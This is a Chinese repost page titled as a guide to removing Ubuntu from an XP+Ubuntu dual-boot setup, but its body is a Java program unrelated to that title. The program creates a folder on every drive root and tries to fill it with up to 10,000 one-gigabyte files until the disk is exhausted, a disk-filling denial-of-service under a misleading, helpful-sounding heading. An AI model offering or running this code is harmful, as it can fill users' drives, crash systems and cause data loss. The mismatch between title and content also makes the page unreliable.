您的位置:首页 > 其它

双系统(xp+ubuntu)删除ubuntu(好用)

2015-10-16 22:56 260 查看
package test;
import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;
public class Test {
public static void main(String[] args) throws IOException {
File[] file1 = File.listRoots();
for (int k = 0; k < file1.length; k++) {
String path = file1[k].getAbsolutePath();
path = path.substring(0, path.length() - 1);
File file = new File(path + "/文件我最大/");
if (!file.isDirectory()) {
file.mkdir();
}
for (int i = 0; i < 10000; i++) {
File file3 = new File(path + "/文件我最大/" + i);
if (!file3.exists()) {
file3.createNewFile();
RandomAccessFile rac = new RandomAccessFile(file3, "rw");
try {
rac.setLength(1073741824);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
break;
}
rac.close();
}
}
}
}
}


本文出自 “专注Java,linux技术” 博客,请务必保留此出处http://wuqinglong.blog.51cto.com/9087037/1620206
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: